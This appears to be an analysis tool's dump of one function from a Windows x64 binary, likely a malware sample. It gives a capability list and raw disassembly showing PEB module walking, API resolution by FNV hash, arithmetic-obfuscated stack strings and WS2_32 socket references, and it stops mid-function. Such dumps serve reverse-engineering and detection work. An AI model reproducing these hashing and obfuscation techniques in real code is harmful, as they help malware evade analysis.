Function at 0x140012b20
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Get ntdll base address
Get number of processors
Get process heap flags
Get process heap force flags
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x140127240]
xor rax, rsp
mov qword [rbp + 0x60], rax
xor r13d, r13d
mov r15d, r13d
mov r14d, 0x53dfec06
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140012d67
cmp word [rax + 0x48], r13w
je 0x140012d67
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r15d, r15d
je 0x140012bf3
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea rbx, [r9 + rcx*2]
mov r10d, 0x4ca78084
cmp r9, rbx
je 0x140012bea
nop dword [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, rbx
jne 0x140012bc0
cmp r10d, r15d
jne 0x140012d67
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r8, rdx
shr r8, 0x20
mov qword [rbp - 0x10], r8
mov esi, edx
add rsi, r11
cmp rsi, r11
je 0x140012d67
mov ebx, dword [rsi + 0x18]
test ebx, ebx
je 0x140012d67
mov r9d, dword [rsi + 0x1c]
add r9, r11
mov qword [rbp + 0x18], r9
mov ecx, dword [rsi + 0x24]
add rcx, r11
mov qword [rbp + 0x10], rcx
mov r10d, dword [rsi + 0x20]
nop dword [rax]
dec ebx
movzx ecx, word [rcx + rbx*2]
mov edi, dword [r9 + rcx*4]
add rdi, r11
mov qword [rbp - 8], rdi
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r10]
add r9, r11
cmp rdi, rsi
jbe 0x140012c6f
lea rcx, [r8 + rsi]
cmp rdi, rcx
jae 0x140012c6f
mov r12b, 1
jmp 0x140012c72
xor r12b, r12b
mov r10d, 0x4ca78084
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140012cbb
nop dword [rax]
nop dword [rax + rax]
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140012c90
cmp r10d, r14d
je 0x140012ce0
test ebx, ebx
mov r8, qword [rbp - 0x10]
mov r9, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x10]
mov r10d, dword [rsi + 0x20]
jne 0x140012c40
mov rax, qword [rax]
jmp 0x140012b70
test r12b, r12b
je 0x140012d6f
mov r15d, 0x4ca78084
mov r14d, r15d
movzx edx, byte [rdi]
cmp dl, 0x2e
je 0x140012d26
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r15d
imul r15d, ecx, 0x1000193
inc rdi
movzx edx, byte [rdi]
cmp dl, 0x2e
jne 0x140012d00
inc rdi
movzx edx, byte [rdi]
test dl, dl
je 0x140012d56
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
lea rdi, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
jne 0x140012d30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140012b70
mov al, 1
mov r8b, 2
mov r9b, 0x77
mov r10b, 5
mov r11b, 0x47
movzx ebx, r11b
mov sil, 0xb4
mov r14b, 0x7b
mov r15b, 0x70
mov r12b, 0x71
xor ecx, ecx
mov qword [rbp - 0x10], rcx
mov qword [rsp + 0x3b], rcx
mov dword [rsp + 0x43], ecx
mov word [rsp + 0x47], cx
movzx edx, al
movzx eax, dl
and al, 0xc2
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xc3
add al, al
sub cl, al
add cl, 0x75
mov byte [rsp + 0x31], cl
movzx edx, r9b
movzx eax, dl
and al, 0xc4
mov ecx, 0x3b
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x32], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xc5
add al, al
sub cl, al
add cl, r9b
mov byte [rsp + 0x33], cl
movzx edx, r11b
movzx eax, dl
and al, 0xc6
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x34], cl
mov ecx, ebx
movzx eax, bl
and al, 0xc7
add al, al
sub cl, al
add cl, 0x79
mov byte [rsp + 0x35], cl
movzx edx, sil
movzx eax, dl
and al, 0xc8
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x36], cl
movzx ecx, r14b
movzx eax, cl
and al, 0xc9
add al, al
sub cl, al
add cl, r14b
mov byte [rsp + 0x37], cl
movzx edx, r15b
movzx eax, dl
and al, 0xca
mov ebx, 0x3e
mov ecx, ebx
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x38], cl
movzx ecx, r12b
movzx eax, cl
and al, 0xcb
add al, al
sub cl, al
add cl, 0x7d
mov byte [rsp + 0x39], cl
mov al, 0x82
movzx edx, al
movzx eax, dl
and al, 0xcc
mov esi, 0x3f
mov ecx, esi
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3a], cl
mov rdx, qword [rbp - 0x10]
movzx ecx, dl
movzx eax, cl
and al, 0xcd
add al, al
sub cl, al
add cl, 0x7f
mov byte [rsp + 0x3b], cl
movzx ecx, byte [rsp + 0x3c]
movzx eax, cl
and al, 0xce
add al, al
sub cl, al
add cl, 0x80
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0xcf
add al, al
sub cl, al
sub cl, 0x7f
mov byte [rsp + 0x3d], cl
movzx ecx, byte [rsp + 0x3e]
movzx eax, cl
and al, 0xd0
add al, al
sub cl, al
sub cl, 0x7e
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0xd1
add al, al
sub cl, al
sub cl, 0x7d
mov byte [rsp + 0x3f], cl
movzx ecx, byte [rsp + 0x40]
movzx eax, cl
and al, 0xd2
add al, al
sub cl, al
sub cl, 0x7c
mov byte [rsp + 0x40], cl
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 0xd3
add al, al
sub cl, al
sub cl, r14b
mov byte [rsp + 0x41], cl
movzx ecx, byte [rsp + 0x42]
movzx eax, cl
and al, 0xd4
add al, al
sub cl, al
sub cl, 0x7a
mov byte [rsp + 0x42], cl
movzx ecx, dl
movzx eax, cl
and al, 0xd5
add al, al
sub cl, al
sub cl, 0x79
mov byte [rsp + 0x43], cl
movzx ecx, byte [rsp + 0x44]
movzx eax, cl
and al, 0xd6
add al, al
sub cl, al
sub cl, 0x78
mov byte [rsp + 0x44], cl
movzx ecx, byte [rsp + 0x45]
movzx eax, cl
and al, 0xd7
add al, al
sub cl, al
sub cl, r9b
mov byte [rsp + 0x45], cl
movzx ecx, byte [rsp + 0x46]
movzx eax, cl
and al, 0xd8
add al, al
sub cl, al
sub cl, 0x76
mov byte [rsp + 0x46], cl
movzx ecx, dl
movzx eax, cl
and al, 0xd9
add al, al
sub cl, al
sub cl, 0x75
mov byte [rsp + 0x47], cl
movzx ecx, byte [rsp + 0x48]
movzx eax, cl
and al, 0xda
add al, al
sub cl, al
sub cl, 0x74
mov byte [rsp + 0x48], cl
movzx ecx, dl
mov eax, ecx
movabs rdx, 0x95fd3668a53ff9db
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x4e
mov byte [rsp + 0x49], cl
lea rcx, [rsp + 0x30]
call rdi
mov al, 0xf5
mov dl, 0xf8
mov r8b, 0xff
mov r9b, 0xa4
mov r10b, 0xa6
mov r11b, 0xbb
mov r14b, 0xfa
mov r15b, 0xf3
mov r12b, 0xf0
xor ecx, ecx
mov qword [rbp - 0x10], rcx
mov dword [rbp - 0x1e], ecx
mov word [rbp - 0x1a], cx
movzx ecx, al
movzx eax, cl
and al, 0x12
add al, al
sub cl, al
sub cl, 0x6c
mov byte [rbp - 0x28], cl
movzx ecx, dl
movzx eax, cl
and al, 0x13
add al, al
sub cl, al
sub cl, 0x6b
mov byte [rbp - 0x27], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x14
add al, al
sub cl, al
sub cl, 0x6a
mov byte [rbp - 0x26], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x15
add al, al
sub cl, al
sub cl, 0x69
mov byte [rbp - 0x25], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x16
add al, al
sub cl, al
sub cl, 0x68
mov byte [rbp - 0x24], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x17
add al, al
sub cl, al
sub cl, 0x67
mov byte [rbp - 0x23], cl
movzx ecx, r14b
movzx eax, cl
and al, 0x18
add al, al
sub cl, al
sub cl, 0x66
mov byte [rbp - 0x22], cl
movzx ecx, r15b
movzx eax, cl
and al, 0x19
add al, al
sub cl, al
sub cl, 0x65
mov byte [rbp - 0x21], cl
movzx ecx, r12b
movzx eax, cl
and al, 0x1a
add al, al
sub cl, al
sub cl, 0x64
mov byte [rbp - 0x20], cl
mov al, 0x65
movzx ecx, al
movzx eax, cl
and al, 0x1b
add al, al
sub cl, al
sub cl, 0x63
mov byte [rbp - 0x1f], cl
mov rdx, qword [rbp - 0x10]
movzx ecx, dl
movzx eax, cl
and al, 0x1c
add al, al
sub cl, al
sub cl, 0x62
mov byte [rbp - 0x1e], cl
movzx ecx, byte [rbp - 0x1d]
movzx eax, cl
and al, 0x1d
add al, al
sub cl, al
sub cl, 0x61
mov byte [rbp - 0x1d], cl
movzx ecx, byte [rbp - 0x1c]
movzx eax, cl
and al, 0x1e
add al, al
sub cl, al
sub cl, 0x60
mov byte [rbp - 0x1c], cl
movzx ecx, byte [rbp - 0x1b]
movzx eax, cl
and al, 0x1f
add al, al
sub cl, al
sub cl, 0x5f
mov byte [rbp - 0x1b], cl
movzx ecx, dl
movzx eax, cl
and al, 0x20
add al, al
sub cl, al
sub cl, 0x5e
mov byte [rbp - 0x1a], cl
movzx ecx, byte [rbp - 0x19]
mov eax, ecx
movabs rdx, 0x3811d57108c03021
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x7e
mov byte [rbp - 0x19], cl
lea rcx, [rbp - 0x28]
call rdi
mov al, 0x89
movzx edx, al
mov r8b, 0xbe
mov r9b, 0x8c
mov r10b, 0x82
mov r11b, 0x86
mov r14b, 0xfd
mov r15b, 0xc1
mov r12b, 0xfc
xor ecx, ecx
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x1b], rcx
movzx ecx, al
movzx eax, cl
and al, 0xd9
add al, al
sub cl, al
sub cl, 0x16
mov byte [rbp - 0x28], cl
mov ecx, edx
movzx eax, dl
and al, 0xda
add al, al
sub cl, al
sub cl, 0x15
mov byte [rbp - 0x27], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xdb
add al, al
sub cl, al
sub cl, 0x14
mov byte [rbp - 0x26], cl
movzx ecx, r9b
movzx eax, cl
and al, 0xdc
add al, al
sub cl, al
sub cl, 0x13
mov byte [rbp - 0x25], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xdd
add al, al
sub cl, al
sub cl, 0x12
mov byte [rbp - 0x24], cl
movzx ecx, r11b
movzx eax, cl
and al, 0xde
add al, al
sub cl, al
sub cl, 0x11
mov byte [rbp - 0x23], cl
movzx ecx, r14b
movzx eax, cl
and al, 0xdf
add al, al
sub cl, al
sub cl, 0x10
mov byte [rbp - 0x22], cl
movzx ecx, r15b
movzx eax, cl
and al, 0xe0
add al, al
sub cl, al
sub cl, 0xf
mov byte [rbp - 0x21], cl
movzx ecx, r12b
movzx eax, cl
and al, 0xe1
add al, al
sub cl, al
sub cl, 0xe
mov byte [rbp - 0x20], cl
mov al, 0xb1
movzx ecx, al
movzx eax, cl
and al, 0xe2
add al, al
sub cl, al
sub cl, 0xd
mov byte [rbp - 0x1f], cl
mov al, 0xb8
movzx ecx, al
movzx eax, cl
and al, 0xe3
add al, al
sub cl, al
sub cl, 0xc
mov byte [rbp - 0x1e], cl
mov al, 0xbf
movzx ecx, al
movzx eax, cl
and al, 0xe4
add al, al
sub cl, al
sub cl, 0xb
mov byte [rbp - 0x1d], cl
mov al, 0xa
movzx ecx, al
movzx eax, cl
and al, 0xe5
add al, al
sub cl, al
sub cl, 0xa
mov byte [rbp - 0x1c], cl
mov rdx, qword [rbp - 0x10]
movzx ecx, dl
movzx eax, cl
and al, 0xe6
add al, al
sub cl, al
sub cl, 9
mov byte [rbp - 0x1b], cl
movzx ecx, byte [rbp - 0x1a]
movzx eax, cl
and al, 0xe7
add al, al
sub cl, al
sub cl, 8
mov byte [rbp - 0x1a], cl
movzx ecx, byte [rbp - 0x19]
movzx eax, cl
and al, 0xe8
add al, al
sub cl, al
sub cl, 7
mov byte [rbp - 0x19], cl
movzx ecx, byte [rbp - 0x18]
movzx eax, cl
and al, 0xe9
add al, al
sub cl, al
sub cl, 6
mov byte [rbp - 0x18], cl
movzx ecx, byte [rbp - 0x17]
movzx eax, cl
and al, 0xea
add al, al
sub cl, al
sub cl, 5
mov byte [rbp - 0x17], cl
movzx ecx, byte [rbp - 0x16]
movzx eax, cl
and al, 0xeb
add al, al
sub cl, al
sub cl, 4
mov byte [rbp - 0x16], cl
movzx ecx, byte [rbp - 0x15]
movzx eax, cl
and al, 0xec
add al, al
sub cl, al
sub cl, 3
mov byte [rbp - 0x15], cl
movzx ecx, byte [rbp - 0x14]
movzx eax, cl
and al, 0xed
add al, al
sub cl, al
sub cl, 2
mov byte [rbp - 0x14], cl
movzx ecx, dl
mov eax, ecx
movabs rdx, 0x906760f9bd1f13ee
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x11
mov byte [rbp - 0x13], cl
lea rcx, [rbp - 0x28]
call rdi
mov al, 0x1b
mov r8b, reloc.WS2_32.dll_setsockopt
mov r9b, 0x1e
mov r10b, 8
mov r11b, 0xe1
mov r14b, reloc.WS2_32.dll_recvfrom
mov r15b, 0x1f
mov r12b, 0xd5
xor ecx, ecx
mov qword [rbp - 0x10], rcx
mov dword [rsp + 0x5c], ecx
movzx edx, al
movzx eax, dl
and al, 0x96
mov ecx, ebx
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x50], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x97
add al, al
sub cl, al
add cl, 0x7d
mov byte [rsp + 0x51], cl
movzx edx, r9b
movzx eax, dl
and al, 0x98
mov ecx, esi
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x52], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x99
add al, al
sub cl, al
add cl, 0x7f
mov byte [rsp + 0x53], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x9a
add al, al
sub cl, al
add cl, 0x80
mov byte [rsp + 0x54], cl
movzx ecx, r14b
movzx eax, cl
and al, 0x9b
add al, al
sub cl, al
sub cl, 0x7f
mov byte [rsp + 0x55], cl
movzx ecx, r15b
movzx eax, cl
and al, 0x9c
add al, al
sub cl, al
sub cl, 0x7e
mov byte [rsp + 0x56], cl
movzx ecx, r12b
movzx eax, cl
and al, 0x9d
add al, al
sub cl, al
sub cl, 0x7d
mov byte [rsp + 0x57], cl
mov al, 0xe0
movzx ecx, al
movzx eax, cl
and al, 0x9e
add al, al
sub cl, al
sub cl, 0x7c
mov byte [rsp + 0x58], cl
mov al, 0x19
movzx ecx, al
movzx eax, cl
and al, 0x9f
add al, al
sub cl, al
sub cl, 0x7b
mov byte [rsp + 0x59], cl
mov al, 0x26
movzx ecx, al
movzx eax, cl
and al, 0xa0
add al, al
sub cl, al
sub cl, 0x7a
mov byte [rsp + 0x5a], cl
mov al, 0xbb
movzx ecx, al
movzx eax, cl
and al, 0xa1
add al, al
sub cl, al
sub cl, 0x79
mov byte [rsp + 0x5b], cl
movzx ecx, byte [rbp - 0x10]
movzx eax, cl
and al, 0xa2
add al, al
sub cl, al
sub cl, 0x78
mov byte [rsp + 0x5c], cl
movzx ecx, byte [rsp + 0x5d]
movzx eax, cl
and al, 0xa3
add al, al
sub cl, al
sub cl, 0x77
mov byte [rsp + 0x5d], cl
movzx ecx, byte [rsp + 0x5e]
movzx eax, cl
and al, 0xa4
add al, al
sub cl, al
sub cl, 0x76
mov byte [rsp + 0x5e], cl
movzx ecx, byte [rsp + 0x5f]
mov eax, ecx
movabs rdx, 0xe0e8ab0539f25ca5
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x1a
mov byte [rsp + 0x5f], cl
lea rcx, [rsp + 0x50]
call rdi
mov al, 0xeb
mov r8b, 0xe1
mov r9b, 0xe7
mov r10b, 0xef
mov r11b, 0xe0
mov r14b, 0x26
xor ecx, ecx
mov qword [rbp - 0x10], rcx
mov qword [rsp + 0x3c], rcx
mov dword [rsp + 0x44], ecx
mov word [rsp + 0x48], cx
movzx edx, al
movzx eax, dl
and al, 0xd4
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, r12b
add al, al
sub cl, al
add cl, 9
mov byte [rsp + 0x31], cl
movzx edx, r9b
movzx eax, dl
and al, 0xd6
mov ecx, 5
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x32], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xd7
add al, al
sub cl, al
add cl, 0xb
mov byte [rsp + 0x33], cl
movzx edx, r11b
movzx eax, dl
and al, 0xd8
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x34], cl
movzx ecx, r14b
movzx eax, cl
and al, 0xd9
add al, al
sub cl, al
add cl, 0xd
mov byte [rsp + 0x35], cl
mov al, 0x24
movzx edx, al
movzx eax, dl
and al, 0xda
mov ecx, 7
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x36], cl
mov al, 0x21
movzx ecx, al
movzx eax, cl
and al, 0xdb
add al, al
sub cl, al
add cl, 0xf
mov byte [rsp + 0x37], cl
mov al, 0xec
movzx edx, al
movzx eax, dl
and al, 0xdc
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x38], cl
mov al, 0xe5
movzx ecx, al
movzx eax, cl
and al, 0xdd
add al, al
sub cl, al
add cl, 0x11
mov byte [rsp + 0x39], cl
mov al, 0xe6
movzx edx, al
movzx eax, dl
and al, 0xde
mov ecx, 9
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3a], cl
mov al, reloc.WS2_32.dll_send
movzx ecx, al
movzx eax, cl
and al, 0xdf
add al, al
sub cl, al
add cl, 0x13
mov byte [rsp + 0x3b], cl
mov r8, qword [rbp - 0x10]
movzx edx, r8b
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0xe1
add al, al
sub cl, al
add cl, 0x15
mov byte [rsp + 0x3d], cl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0xe2
mov ecx, 0xb
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0xe3
add al, al
sub cl, al
add cl, 0x17
mov byte [rsp + 0x3f], cl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0xe4
mov ecx, recv
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x40], cl
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 0xe5
add al, al
sub cl, al
add cl, 0x19
mov byte [rsp + 0x41], cl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0xe6
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x42], cl
movzx ecx, byte [rsp + 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x1b
mov byte [rsp + 0x43], cl
movzx edx, r8b
movzx eax, dl
and al, 0xe8
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x44], cl
movzx ecx, byte [rsp + 0x45]
movzx eax, cl
and al, 0xe9
add al, al
sub cl, al
add cl, 0x1d
mov byte [rsp + 0x45], cl
movzx edx, byte [rsp + 0x46]
movzx eax, dl
and al, 0xea
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x46], cl
movzx ecx, byte [rsp + 0x47]
movzx eax, cl
and al, 0xeb
add al, al
sub cl, al
add cl, r15b
mov byte [rsp + 0x47], cl
movzx edx, r8b
movzx eax, dl
and al, 0xec
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x48], cl
movzx ecx, byte [rsp + 0x49]
movzx eax, cl
and al, 0xed
add al, al
sub cl, al
add cl, 0x21
mov byte [rsp + 0x49], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0x1de3f9c63ee1ecee
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x34
mov byte [rsp + 0x4a], cl
lea rcx, [rsp + 0x30]
call rdi
movzx eax, sil
mov r8b, 0x38
mov r9b, 0x7a
mov r10b, sendto
mov r11b, 0x7f
movzx esi, r11b
mov r14b, 0x62
mov r15b, 0x33
mov r12b, 0x3a
xorps xmm0, xmm0
xor ecx, ecx
mov qword [rbp - 0x10], rcx
movups xmmword [rsp + 0x3b], xmm0
mov word [rsp + 0x4b], cx
mov edx, eax
and al, 0xc9
mov ecx, 0x25
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x30], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xca
add al, al
sub cl, al
add cl, 0x4b
mov byte [rsp + 0x31], cl
movzx edx, r9b
movzx eax, dl
and al, 0xcb
mov ecx, 0x26
mov dword [rbp - 0x30], ecx
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x32], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xcc
add al, al
sub cl, al
add cl, 0x4d
mov byte [rsp + 0x33], cl
movzx edx, r11b
movzx eax, dl
and al, 0xcd
mov ecx, 0x27
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x34], cl
mov ecx, esi
movzx eax, sil
and al, 0xce
add al, al
sub cl, al
add cl, 0x4f
mov byte [rsp + 0x35], cl
movzx edx, r14b
movzx eax, dl
and al, 0xcf
mov ecx, 0x28
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x36], cl
movzx ecx, r15b
movzx eax, cl
and al, 0xd0
add al, al
sub cl, al
add cl, 0x51
mov byte [rsp + 0x37], cl
movzx edx, r12b
movzx eax, dl
and al, 0xd1
mov ecx, 0x29
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x38], cl
mov al, 0x39
movzx ecx, al
movzx eax, cl
and al, 0xd2
add al, al
sub cl, al
add cl, 0x53
mov byte [rsp + 0x39], cl
mov al, 0xac
movzx edx, al
movzx eax, dl
and al, 0xd3
mov ecx, 0x2a
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3a], cl
movd eax, xmm0
movzx ecx, al
movzx eax, cl
and al, 0xd4
add al, al
sub cl, al
add cl, 0x55
mov byte [rsp + 0x3b], cl
movzx edx, byte [rsp + 0x3c]
movzx eax, dl
and al, 0xd5
mov ecx, 0x2b
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0xd6
add al, al
sub cl, al
add cl, 0x57
mov byte [rsp + 0x3d], cl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0xd7
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0xd8
add al, al
sub cl, al
add cl, 0x59
mov byte [rsp + 0x3f], cl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0xd9
mov ecx, 0x2d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x40], cl
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 0xda
add al, al
sub cl, al
add cl, 0x5b
mov byte [rsp + 0x41], cl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0xdb
mov ecx, 0x2e
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x42], cl
movzx ecx, byte [rsp + 0x43]
movzx eax, cl
and al, 0xdc
add al, al
sub cl, al
add cl, 0x5d
mov byte [rsp + 0x43], cl
movzx edx, byte [rsp + 0x44]
movzx eax, dl
and al, 0xdd
mov ecx, 0x2f
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x44], cl
movzx ecx, byte [rsp + 0x45]
movzx eax, cl
and al, 0xde
add al, al
sub cl, al
add cl, 0x5f
mov byte [rsp + 0x45], cl
movzx edx, byte [rsp + 0x46]
movzx eax, dl
and al, 0xdf
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x46], cl
movzx ecx, byte [rsp + 0x47]
movzx eax, cl
and al, 0xe0
add al, al
sub cl, al
add cl, 0x61
mov byte [rsp + 0x47], cl
movzx edx, byte [rsp + 0x48]
movzx eax, dl
and al, 0xe1
mov ecx, 0x31
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x48], cl
movzx ecx, byte [rsp + 0x49]
movzx eax, cl
and al, 0xe2
add al, al
sub cl, al
add cl, 0x63
mov byte [rsp + 0x49], cl
movzx edx, byte [rsp + 0x4a]
movzx eax, dl
and al, 0xe3
mov ecx, 0x32
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x4a], cl
mov r8, qword [rbp - 0x10]
movzx ecx, r8b
movzx eax, cl
and al, 0xe4
add al, al
sub cl, al
add cl, 0x65
mov byte [rsp + 0x4b], cl
movzx edx, byte [rsp + 0x4c]
movzx eax, dl
and al, 0xe5
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x4c], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0x342523329e6
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, sil
mov byte [rsp + 0x4d], cl
lea rcx, [rsp + 0x30]
call rdi
mov dword [rsp + 0x30], 0xfa16c214
mov dword [rsp + 0x34], 0xb0a11ca
mov byte [rsp + 0x38], 0x88
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x39], xmm0
mov dword [rsp + 0x49], eax
mov word [rsp + 0x4d], ax
mov byte [rsp + 0x4f], al
mov r9, r13
movabs rax, 0xc04de792c6e84a7
lea rcx, [rsp + 0x31]
sub rax, rcx
lea esi, [rbx - 2]
lea r12d, [rbx - 6]
lea r10d, [rbx + 1]
lea r11d, [rbx - 4]
lea r15d, [rbx - 3]
lea r14d, [rbx - 1]
lea r13d, [rbx - 5]
mov rdi, rax
nop dword [rax]
nop dword [rax + rax]
lea r8, [rsp + 0x31]
add r8, r9
lea eax, [r9 - 0x68]
and al, byte [r8 - 1]
mov ecx, r12d
sub cl, al
add cl, cl
add cl, r9b
add byte [r8 - 1], cl
movzx edx, byte [r8]
lea ecx, [r9 - 0x67]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
add dl, 0x71
add al, dl
mov byte [r8], al
lea eax, [r9 - 0x66]
and al, byte [r8 + 1]
mov ecx, r13d
sub cl, al
add cl, cl
add cl, r9b
add byte [r8 + 1], cl
movzx edx, byte [r8 + 2]
lea ecx, [r9 - 0x65]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
add dl, 0x73
add al, dl
mov byte [r8 + 2], al
lea eax, [r9 - 0x64]
and al, byte [r8 + 3]
mov ecx, r11d
sub cl, al
add cl, cl
add cl, r9b
add byte [r8 + 3], cl
movzx edx, byte [r8 + 4]
lea ecx, [r9 - 0x63]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
add dl, 0x75
add al, dl
mov byte [r8 + 4], al
lea eax, [r9 - 0x62]
and al, byte [r8 + 5]
mov ecx, r15d
sub cl, al
add cl, cl
add cl, r9b
add byte [r8 + 5], cl
movzx edx, byte [r8 + 6]
lea ecx, [r9 - 0x61]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
add dl, 0x77
add al, dl
mov byte [r8 + 6], al
lea eax, [r9 - 0x60]
and al, byte [r8 + 7]
mov ecx, esi
sub cl, al
add cl, cl
add cl, r9b
add byte [r8 + 7], cl
movzx edx, byte [r8 + 8]
lea ecx, [r9 - 0x5f]
and cl, dl
add cl, cl
movzx eax, r9b
sub al, cl
add dl, 0x79
add al, dl
mov byte [r8 + 8], al
lea eax, [r9 - 0x5e]
and al, byte [r8 + 9]
mov ecx, r14d
